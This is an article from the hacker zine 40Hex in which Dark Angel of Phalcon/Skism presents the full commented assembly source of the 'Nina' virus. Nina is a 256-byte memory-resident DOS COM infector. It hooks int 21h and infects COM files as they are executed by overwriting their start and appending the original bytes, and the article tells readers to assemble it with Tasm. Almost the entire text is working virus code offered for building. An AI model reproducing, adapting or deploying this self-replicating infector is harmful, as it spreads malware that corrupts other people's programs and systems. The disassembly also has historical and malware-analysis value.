40Hex Number 9 Volume 2 Issue 5                                       File 006

Below is the Nina virus.  It's a 256 byte generic COM infector supposedly
originating in Bulgaria.  Although some minor portions are not as highly
optimised as they could be, the code is well-written.  Items of note include
the infection method, which is somewhat reminiscent of Jerusalem, the
installation check handler in int 21h, and the residency routine.  As always,
use Tasm to assemble.

                                                Dark Angel

.model tiny
.code
org 100h
; Disassembly done by Dark Angel of Phalcon/Skism
; for 40Hex Number 9, Volume 2 Issue 5
start:
                push    ax
                mov     ax,9753h                ; installation check
                int     21h
                mov     ax,ds
                dec     ax
                mov     ds,ax                   ; ds->program MCB
                mov     ax,ds:[3]               ; get size word
                push    bx
                push    es
                sub     ax,40h                  ; reserve 40h paragraphs
                mov     bx,ax
                mov     ah,4Ah                  ; Shrink memory allocation
                int     21h

                mov     ah,48h                  ; Allocate 3Fh paragraphs
                mov     bx,3Fh                  ; for the virus
                int     21h

                mov     es,ax                   ; copy virus to high
                xor     di,di                   ; memory
                mov     si,offset start + 10h   ; start at MCB:110h
                mov     cx,100h                 ; (same as PSP:100h)
                rep     movsb
                sub     ax,10h                  ; adjust offset as if it
                push    ax                      ; originated at 100h
                mov     ax,offset highentry
                push    ax
                retf

endfile         dw      100h ; size of infected COM file

highentry:
                mov     byte ptr cs:[0F2h],0AAh ; change MCB's owner so the
                                                ; memory isn't freed when the
                                                ; program terminates
                mov     ax,3521h                ; get int 21h vector
                int     21h

                mov     word ptr cs:oldint21,bx ; save it
                mov     word ptr cs:oldint21+2,es
                push    es
                pop     ds
                mov     dx,bx
                mov     ax,2591h                ; redirect int 91h to int 21h
                int     21h

                push    cs
                pop     ds
                mov     dx,offset int21
                mov     al,21h                  ; set int 21h to virus vector
                int     21h

                pop     ds                      ; ds->original program PSP
                pop     bx
                push    ds
                pop     es
return_COM:
                mov     di,100h                 ; restore original
                mov     si,endfile              ; file
                add     si,di                   ; adjust for COM starting
                mov     cx,100h                 ; offset
                rep     movsb
                pop     ax
                push    ds                      ; jmp back to original
                mov     bp,100h                 ; file (PSP:100)
                push    bp
                retf
exit_install:
                pop     ax                      ; pop CS:IP and flags in
                pop     ax                      ; order to balance the
                pop     ax                      ; stack and then exit the
                jmp     short return_COM        ; infected COM file
int21:
                cmp     ax,9753h                ; installation check?
                je      exit_install
                cmp     ax,4B00h                ; execute?
                jne     exitint21               ; nope, quit
                push    ax                      ; save registers
                push    bx
                push    cx
                push    dx
                push    ds
                call    infect
                pop     ds                      ; restore registers
                pop     dx
                pop     cx
                pop     bx
                pop     ax
exitint21:
                db      0eah ; jmp far ptr
oldint21        dd      ?

infect:
                mov     ax,3D02h                ; open file read/write
                int     91h
                jc      exit_infect
                mov     bx,ax
                mov     cx,100h
                push    cs
                pop     ds
                mov     ah,3Fh                  ; Read first 100h bytes
                mov     dx,offset endvirus
                int     91h
                mov     ax,word ptr endvirus
                cmp     ax,'MZ'                 ; exit if EXE
                je      close_exit_infect
                cmp     ax,'ZM'                 ; exit if EXE
                je      close_exit_infect
                cmp     word ptr endvirus+2,9753h ; exit if already
                je      close_exit_infect       ; infected
                mov     al,2                    ; go to end of file
                call    move_file_pointer
                cmp     ax,0FEB0h               ; exit if too large
                ja      close_exit_infect
                cmp     ax,1F4h                 ; or too small for
                jb      close_exit_infect       ; infection
                mov     endfile,ax              ; save file size
                call    write
                mov     al,0                    ; go to start of file
                call    move_file_pointer
                mov     dx,100h                 ; write virus
                call    write
close_exit_infect:
                mov     ah,3Eh                  ; Close file
                int     91h
exit_infect:
                retn

move_file_pointer:
                push    dx
                xor     cx,cx
                xor     dx,dx
                mov     ah,42h
                int     91h
                pop     dx
                retn

write:
                mov     ah,40h
                mov     cx,100h
                int     91h
                retn

                db      ' Nina '
endvirus:
                int     20h ; original COM file

                end     start
